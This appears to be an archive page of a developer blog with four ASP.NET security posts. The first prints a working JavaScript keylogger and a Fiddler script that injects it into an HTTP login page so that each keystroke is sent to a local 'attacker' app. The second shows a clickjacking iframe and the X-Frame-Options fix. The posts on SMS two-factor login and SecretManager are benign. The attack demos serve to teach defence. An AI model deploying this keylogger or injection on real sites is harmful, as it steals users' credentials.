Thursday, June 25, 2015

Stealing Credentials On Http Login Form in ASP.NET MVC

In today's blog post, I will be discussing how login form on Http can be risky in an ASP.NET MVC application.

Http Login Form Risk

On so many websites, the account login page is on Http instead of Https. What those people say is that once you post the password, it's Https and thus encrypted and secure. However loading the login page on Http is itself inherently insecure.
So today we will be discussing an attack on how such a site can be compromised.

For this attack, we will be using a script from John Leitch. This a javascript which attaches a key press event with all the elements in the page and sends an HTTP request on each keypress event. I have modified the script with few changes in order to make it work on my machine.


var destination = null;

var useClone = false;

var cloneSource = null;

var cloneDelay = 1000;

function hookInputs() {

   var frame = document.getElementById('overlayFrame');

   var iframe = '<iframe id="frameContainer" 
   style="display:none;"></iframe>';

  var sourceDoc = useClone ? frame.contentDocument : document;

   var html = 
   sourceDoc.getElementsByTagName('html')[0].innerHTML;

   html = 
   html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);

   html = html.replace(/<input/gi, 
  '<input onkeypress="relayKeyPress(event)" ');

   document.clear();

   document.write(html);

}

window.onload = function () {

   if (destination == null) {

     alert('destination not set');

     return;

   }

   if (useClone) {

     if (cloneSource == null) {

       alert('cloneSource not set');

       return;

     }

     document.body.innerHTML +=

     '<iframe style="display:none;" 
     id="overlayFrame" src="' +

     cloneSource + '"></iframe>';

     setTimeout("hookInputs()", cloneDelay);

 &nbsp }

   else

     hookInputs();

};



var l = Math.random().toString().substring(2);

function relayKeyPress(e) {

   var fc = document.getElementById("frameContainer");

   var x = String.fromCharCode(e.keyCode);

   var y = String.fromCharCode(e.which);

   var k = e.keyCode ? x : y;

   var f = destination + escape(k) + 
           (e.srcElement ? e.srcElement.id :
            e.target.id) + "," + l;

   fc.src = f;

}; 

Next, I created two applications: i) HttpLoginApplication and, ii) HttpAttacker. The HttpAttacker simply serves the KeyLogger.js file which contains the script mentioned above. The HttpLoginApplication has a simple login page with username and password fields, which is served on Http.

Next, I installed Fiddler to intercept and modify the Login page being served on Http. In Fiddler, there is a Fiddler Scripts tab which provides us a lot of functionality to intercept the traffic and modify if needed ;)
Inside Fiddler Scripts tab, there is a method named: OnBeforeResponse(oSession: Session). Inside the method I simply intercept the response related to the login page for HttpLoginApplication website and I inject my attacker's key logger script (Ref: Troy Hunt) like this:


if(oSession.HostnameIs("localhost:55456") 
&& oSession.PathAndQuery=="/Account/Login")

{

   oSession.utilDecodeResponse();

   var oBody = 
   System.Text.Encoding.UTF8.GetString(
   oSession.responseBodyBytes);

    oBody = oBody.Replace(
   "/body","<script type=\"text/javascript\" 
 src=\"http://localhost:57190/Scripts/KeyLogger.js\"></script>
 <script type=\"text/javascript\">
 destination='http://localhost:57190/KeyLoger/?k='</script>");

    oSession.utilSetResponseBody(oBody);

 }


So now when I load the Account/Login page on my HttpLoginApplication, it loads Login page along with the KeyLogger.js.  The victim will not even easily notice that Keylogger.js has been loaded.



Http Login page loading KeyLogger.js


As a result of this, when the user types in the username and password - with each key press event, an Http Request is generated to the HttpAttacker application.


KeyLogger script at work stealing credentials



The attacker can log all these requests and then related them together to easily find the user's credentials.As you can see in the snapshot above, I can see what the user typed and in what field he is typing in.

Conclusion

So we saw how loading login page on Http can be risky. The example shown here is quite simplistic but this is feasible if you are able to intercept the requests and act as man in the middle.
Many websites load their login page on Http and when the user submits, the POST request is on Https. They implement SSL but not in the right way which reduces the effectiveness of their security approach. So it's very important to implement this properly.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right and follow me on Twitter. Until then Happy Coding :)


Reference:
Troy Hunt

Thursday, June 18, 2015

ClickJacking Attack in ASP.NET MVC Application

In today's blog post, I will be discussing what ClickJacking attack is and how we can prevent it.

ClickJacking

ClickJacking is a neat little malicious technique whereby the victim is fooled into clicking on something other than what the user is actually clicking on. This can be accomplished by the attacker using multiple transparent or opaque layers. The user views only the top level page but when they click, they actually trigger the functionality from another hidden layer. This causes some actions which the user never really intended.
Let's take a look at an example:

Suppose, you have a simple banking web application with transfer functionality like this:


The Transfer button is the one which does the money transfer from your account. In my example, I just simply show an alert message called Clicked when Transfer button is clicked.


Next, here is the attacker website where he can lure the user to click on a specific button or area which simply looks like this:

And when the user clicks on the "Claim Coupon", this is what happens:

When the user clicks on the "Claim Coupon", then "Transfer" functionality is triggered. Imagine, if you were logged into your bank account and your bank website had this vulnerability, the money could have been transferred from your account.

How?

So what happened behind the scenes is, the attacker has created an invisible iframe which loads the vulnerable web page inside the iFrame. And the "Claim Coupon" label is placed right on top of Transfer button inside the iFrame. So when the user clicks on the label, he/ she is actually clicking on the Transfer button.

<iframe style="opacity: 0;" scrolling="no" src="http://localhost:3931/Bank/TransferMoney"></iframe>

In my sample application, let me remove the opacity style attribute and let's take a look at the webpage again:


So, the transfer button is invisible but when "Claim Coupon" is clicked, in reality, Transfer button is clicked. So suppose the user's session is currently valid, this can cause user to inadvertently do things which he/she never intended from their accounts.

How to Prevent

In order to prevent this attack, we need to prevent others from framing our application. In ASP.NET application, we can simply add this to <system.webServer> in our Web.Config

    <httpProtocol>

      <customHeaders>

        <add name="X-Frame-Options" value="DENY" />

      </customHeaders>

    </httpProtocol>

Here we are adding X-FRAME-Options to response headers with value DENY.
There are 3 values possible to X-Frame-Options:
i) DENY: do not allow any site to frame your application
ii) SAMEORIGIN: only allow same application site to frame
iii) ALLOW-FROM: only allow specific domain to frame your application

So having DENY option loads the malicious page like this:






This time, the Transfer money page is not rendered inside the frame as we denied it.

Conclusion

In this post, we saw how a malicious attacker can fool the user to click on elements which the user never intends to and cause unwanted actions. We also saw how to prevent this attack in an ASP.NET MVC application by using X-Frame options.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right and follow me on Twitter. Until then Happy Coding :)


Thursday, June 11, 2015

SMS Authentication in ASP.NET5 Application

In today's blog post, I will be discussing how to set up SMS authentication in ASP.NET5 web application.

SMS Authentication in Web Application

To begin with, I first created a web application in Visual Studio 2015RC named "SmsAuth".
Then I navigated to www.twilio.com and created an account.
In my application, I added the Twilio Nuget package.

Then I navigated to SendSmsAsync method in MessageServices.cs and added the following lines of code:

public static Task SendSmsAsync(string number, string message)

{
var client = new TwilioRestClient

  ("TwilioAccountSid", "TwilioAuthToken");

var result = client.SendMessage

  ("FromTwilioPhoneNumber", number, message);

return Task.FromResult(0);

}

The TwilioAccountSid, TwilioAuthToken and FromTwilioPhoneNumber are all available from the twilio account I created above. For simplicity, I have added all this information here only. For secret information, I would rather use SecretManager as I discussed in a previous blog post here.

Next, I went to Index.cshtml in Manage folder and uncommented the following code:

@(Model.PhoneNumber ?? "None") [

        @if (Model.PhoneNumber != null)

        {

             <a asp-controller="Manage" 
    asp-action="AddPhoneNumber">Change</a>

             @: &nbsp;|&nbsp;

             <a asp-controller="Manage" 
    asp-action="RemovePhoneNumber">Remove</a>

         }

         else

         {

             <a asp-controller="Manage" 
    asp-action="AddPhoneNumber">Add</a>

          }

   ]
This allows the user to add a phone number to user account. Next in the same file I also uncommented the following code:

@if (Model.TwoFactor)

 {

     <form asp-controller="Manage" 
    asp-action="DisableTwoFactorAuthentication"
        method="post" class="form-horizontal" role="form">

     <text>

     Enabled

     <input type="submit" value="Disable" 
    class="btn btn-link" />

     </text>

     </form>

     }

    else

     {

     <form asp-controller="Manage" asp-action=

    "EnableTwoFactorAuthentication" method="post"
 
    class="form-horizontal" role="form">


     <text>

     Disabled

     <input type="submit" value="Enable" 
    class="btn btn-link" />

     </text>

     </form>

}

This allows user to enable/ disable two factor authentication in the user account.

Next, I removed "dnxcore50" from frameworks in projects.json because twilio cannot target dnxcore50.

Now I ran the application and registered as a regular user with my email and password.
Then I clicked on my username and it navigated me to Manage Index page: http://localhost:31469/Manage
Next, I added my phone number to my account.






Then I received a verification code on my cell phone.
I entered that on the screen and it verified my phone number.

Then I enabled the two factor authentication.





Then I logged off and logged in again. I entered my username and password. Next, it asked me my method of second authentication and since Phone was the only option, I selected that.
Then I received an SMS with security code.

I entered that code in my application




And was able to login.
So now everytime user tries to login, he has to put in his password as well as the security code. This makes the application more secure as it's two factor authentication.


Conclusion

So we saw it's easy to set up SMS authentication on our web application. This is useful if we want to make our application more secure or if for some reason we want to use only SMS authentication, we can set up like this.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right and follow me on Twitter. Until then Happy Coding :)


Thursday, June 4, 2015

Using SecretManager in ASP.NET5 application

In today's blog post, I will be discussing how to use SecretManager to store secrets in an ASP.NET 5 web application. 

Earlier, we used to store our passwords or other secret information in config file. The secret information could be your database connection passwords or OAuth related shared secrets. It's very easy to send your config file to another team mate or by mistake check it in into source control which could some times be even public. Such a mistake could be a major security problem and increases the hassle for developers.

Secret Manager 

So instead of saving the secrets in config files, we can store them outside source control using Secret Manager. To begin with, let's take a look at Startup.cs inside our ASP.NET5 web application.
Here, we have:

public Startup(IHostingEnvironment env)

{

       // Setup configuration sources.

       var configuration = new Configuration()

           .AddJsonFile("config.json")

          .AddJsonFile($"config.{env.EnvironmentName}.json", 
           optional: true);



       if (env.IsEnvironment("Development"))

       {

       // This reads the configuration keys 
        //from the secret store.

          configuration.AddUserSecrets();

       }

       configuration.AddEnvironmentVariables();

       Configuration = configuration;

   } 


So here what it says is that the configuration information is first retrieved from config.json. If we are in debug environment (e.g. env.EnvironmentName = "debug") and we have same key in config.debug.json then the value in config.debug.json will override the value in config.json. Similarly, if we have the same key in environment variables, then that value will be used and all others will be ignored. The value added last, will override the previous values.

Here, we also have configuration.AddUserSecrets() which adds the config values from Secret Manager. The User Secrets configuration system consists of two parts: i) Global Tool and, ii) Configuration Source.

 In order to install global tool, in my command prompt, I first ran:

 dnu commands install SecretManager


And I got an output like this:

The following commands were installed: user-secret

The second part, Configuration Source is already set up by configuration.AddUserSecrets()

Now we are all set, we can add our secrets to the secret manager and use them in our application.

Last week, I posted on how to set up Facebook authentication in ASP.NET5 application here. In that project, I added the Facebook AppId and Facebook AppSecret to my config.json directly. Now, I want to add them to Secret Manager and use them in my application.

So inside Visual Studio 2015RC, Package Manager Console I was able to add my AppId and AppSecret to SecretManager like this:

user-secret set Authentication:Facebook:AppId 8xxxxxxxxxxx

user-secret set Authentication:Facebook:AppSecret dxxxxxxx


Now, behind the scenes, they were stored in

%APPDATA%\Microsoft\UserSecrets\aspnet5-TestAuth-axxxxxxxxxxxxxxxxxx\secrets.json

 and APPDATA value was:

 C:\Users\<username>\AppData\Roaming

The AppData folder is hidden by default. I was able to see the file contents and even manually edit them if needed. In future, the secrets.json file content might be encrypted.

How to Use

Now I can simply use them in my application

Configuration["Authentication:Facebook:AppId"];

Configuration["Authentication:Facebook:AppSecret"];


In this way, I was able to store the secrets in a separate folder outside source control. I can set them once per environment and I don't need to worry about accidentally checking them in my source control.

Conclusion

So we saw how to use SecretManager to store secret information in ASP.NET5 application without worrying about accidentally checking them into source control. I think that its a nice addition to developers' arsenal.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right and follow me on Twitter. Until then Happy Coding :)